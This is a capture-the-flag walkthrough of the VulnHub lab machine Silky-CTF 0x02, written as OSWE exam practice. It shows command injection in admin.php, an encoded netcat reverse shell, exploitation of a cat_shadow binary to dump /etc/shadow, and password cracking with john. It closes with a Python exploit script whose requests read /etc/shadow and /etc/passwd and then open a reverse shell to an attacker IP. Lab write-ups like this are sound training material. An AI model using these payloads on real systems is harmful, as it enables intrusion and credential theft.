OSWE Prep – VulnHub – Silky 0x02

The security community has compiled a well-known list of machines available outside of the PEN-200 Labs to help prepare for the OSCP exam, but few know that an OSWE list is in its infancy as well. The OSWE list can be found here. At the top of the Vulnhub list was Silky-CTF: 0x02. Though the machine is unrealistic, the practice was still worth the time.

Throughout this walkthrough, I show the path to gaining root on the machine, but I also cover why the initial foothold was possible by taking a look at the code. Last, I write a simple single-click exploit to compromise the machine.

First, as with all VulnHub machines, I added the “/etc/hosts” record to simplify sending requests to the machine.

“/etc/hosts” Configuration

Reconnaissance

Next, I scanned the target using Nmap with all scripts enabled, enumerating versions, targeting all TCP ports, and outputting the results in all formats within the “/htb/silky” directory. Here we have ports 80 and 22.

Port and Service Enumeration with Nmap

Port 80 contained an Apache2 default page.

Default Apache Page when Navigating to Endpoint

We then used a tool called gobuster to further enumerate possible directories and files served by the web application. This resulted in the admin.php page.

Files Enumeration with Gobuster

This page contained a simple button that spawned a request for a username and password.

Admin Login Page

Using Burp Suite I began fuzzing the username and password values with SecLists wordlists related to injection. The first indication of an issue was with the sleep command for 50 seconds. The response was only returned after 50 seconds indicating we have an injection vulnerability of some kind.

Possible Blind SQL Injection

Further testing proved we were not dealing with SQL injection, but direct remote code execution on the target. You can see this from the strings echoed from the response along with the calculated value from the provided equation.

Possible Remote Code Execution

Initial Foothold

The users were enumerated by performing a “cat /etc/passwd” within the username value field.

Cat Targeting “/etc/passwd”

In theory, we should now be able to get a successful low privilege shell using bash, nc, or python. I first tried a bash reverse shell with no luck. Next, I tried using an encoded netcat reverse shell.

Encoding Netcat Reverse Shell

Started the listener on port “7788” on the attacker machine.

Start Listener on Attacker Machine

Sent the encoded netcat reverse shell payload in the username value field of the GET request.

Send Encoded Reverse Shell

Nice, we have a connection back as user “www-data”. With initial access, I upgraded the shell using “python -c ‘import pty; pty.spawn(“/bin/sh”)'”. My next goal is to further enumerate as much as possible about the machine to identify any anomalies or paths to privilege escalation. There are many tools to assist with privilege escalation enumeration, but I used linPEAS for this machine.

Reverse Shell Received – Shell Upgrade

Privilege Escalation

Curl was not installed on the victim machine, but wget was. The Simple HTTP Server was started on the attacker machine to serve up the linpeas.sh script.

Start HTTP Server on the Attacker Machine

Using wget, the linpeas.sh file was copied to the /tmp directory.

Pull LinPEAS to the Victim Machine

The execution permissions were added to the linpeas.sh file.

Add Execute Permissions

Linpeas.sh was executed.

Execute LinPEAS

The results contained a few interesting findings, but the most anomalous finding was a file named “cat_shadow” located in the home directory for the silky user.

Observed Interesting Binary

I immediately moved the file to the attacker’s machine for further analysis. To move the file, I simply used SCP.

Moving “cat_shadow” to Attacker Machine for Analysis

Looking at the file type we have an ELF 64-bit LSB pie executable.

File Type

Performing the “strings” command on the binary showed one interesting hex value that was returned “0x496c5962”.

Static Analysis

During dynamic analysis, I noticed the binary was using a specific place in memory to provide the check against the “0x496c5962” value. I could overwrite this value with “A” as seen with the “0x41414141”. Decoding the expected value we have “IlYb”, but providing this value was reversed in the output. Simply reversing the expected values at the select location caused the “/etc/shadow” file to be printed in the terminal.

Dynamic Analysis

Last, I “unshadowed” the target “passwd” and “shadow” files into the target “combinedpasswdfile.txt” file.

Preparing Password Files for John

Using the “rockyou.txt” wordlist, I executed john.

Cracking Shadow File with John

The credentials were then tested against the machine and worked as expected!

Credential Check

Vulnerabile Code Analysis

Now that we have root credentials, let’s take a step back and see why the initial vulnerability exists. Within the “/var/www/html” directory we can find the “admin.php” code. Looking at the if statement we see the mishandled user input for the username value. The value is passed directly to the “shell_exec” function allowing code execution.

Vulnerability within “admin.php”

For more information about the “shell_exec” function within PHP check out the documentation here.

PHP “shell_exec” Function

Exploit Development

We fully understand how the entire exploitation path works, so we should be able to develop an exploit to allow single-click root access for the attacker. I will be using Python just because of my personal comfort level with the language. In addition, I use a Burp extension called “Copy As Python-Requests” to start the code creation.

Instead of creating the initial request with a reverse shell, we will be executing the binary “cat_shadow” and returning the needed contents to brute force the root password. This request could look like this:

Shadow File Contents Request

We also need the “/etc/passwd” contents to create the needed “unshadow” format for brute-forcing the password. With a bit of formatting on the returned values, we can then pass those to individual files that will be targeted with the “unshadow” command. Last we execute the john command on the newly created file and return that to the user along with creating a low privilege shell for the user to “su root” with the obtained password.

The code is very rough and could use much more user-provided argument variables, functions and exception handling, but the concept is there.

import requests
from bs4 import BeautifulSoup
import os
import subprocess
import time

burp0_url = "http://silky.vuln:80/admin.php?username=%2f%68%6f%6d%65%2f%73%69%6c%6b%79%2f%63%61%74%5f%73%68%61%64%6f%77%20%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%62%59%6c%49&password=test"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://silky.vuln/admin.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
data = requests.get(burp0_url, headers=burp0_headers)
soup = BeautifulSoup(data.text, 'html.parser')

strips = list(soup.stripped_strings)
shadowContents = strips[6].splitlines()
f = open("shadowContents.txt", "w")
f.write(shadowContents[0])
f.close()

burp1_url = "http://silky.vuln:80/admin.php?username=%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64&password=test"
data2 = requests.get(burp1_url, headers=burp0_headers)
soup2 = BeautifulSoup(data2.text, 'html.parser')
strips2 = list(soup2.stripped_strings)
passwdContents = strips2[6].splitlines()
f2 = open("passwdContents.txt", "w")
f2.write(passwdContents[0])
f2.close()

cmd = 'unshadow passwdContents.txt shadowContents.txt > /tmp/fileForJohn.txt'
cmd2 = 'john --wordlist=/usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt /tmp/fileForJohn.txt'

os.system(cmd)
p = subprocess.Popen(cmd2, stdout=subprocess.PIPE, shell=True)
responseList = []
for line in p.stdout:
        stripped_line = line.strip()
        line_list = stripped_line.split()
        responseList.append(line_list)
roughRootPass = str(responseList[-1][0])
betterRootPass = roughRootPass.replace("b'", "")
finalRootPass = betterRootPass.replace("'", "")
print("Root Password Found!: " + str(finalRootPass))
p.wait()

try:
        burp2_url = "http://silky.vuln:80/admin.php?username=%6e%63%20%2d%65%20%2f%62%69%6e%2f%73%68%20%31%30%2e%30%2e%31%31%2e%31%31%36%20%37%37%38%38&password=test"
        requests.get(burp2_url, headers=burp0_headers)
        print("Low privilege shell connected!")
except:
        print("Initial low privilege reverse shell failed.")

To test the code first we need to change the password on the target machine to prove it is working as expected.

Password Change

Now let’s execute the script and see what happens.

Exploit Execution Testing

The script successfully used the remote code execution vulnerability within the username field to execute the vulnerable binary. This returned the shadow file. The next call correctly returned the “/etc/passwd” file and the script parsed the results to the root user. Next, the script executed “unshadow” on the target files and executed john the ripper. Last, the script connects to the attacker with a low privilege reverse shell and provides the cracked password. The only manual part of the script is changing users on the victim machine with the discovered password.

Conclusion

This machine was simple, straight forward and I enjoyed working through the script to simplify the exploit process for the attacker. The initial foothold was on the unrealistic side due to direct remote code execution with no filtering or controls in place to work around. Not finding a database behind the web application really threw me off during the enumeration phase of the injection vulnerability. If anyone has any further ideas on how to fully automate the exploitation to return a root shell using the intended path, feel free to share any ideas.

I look forward to the next machine on “the list” to help prepare for the OSWE exam. Until next time, stay safe in the Trenches of IT!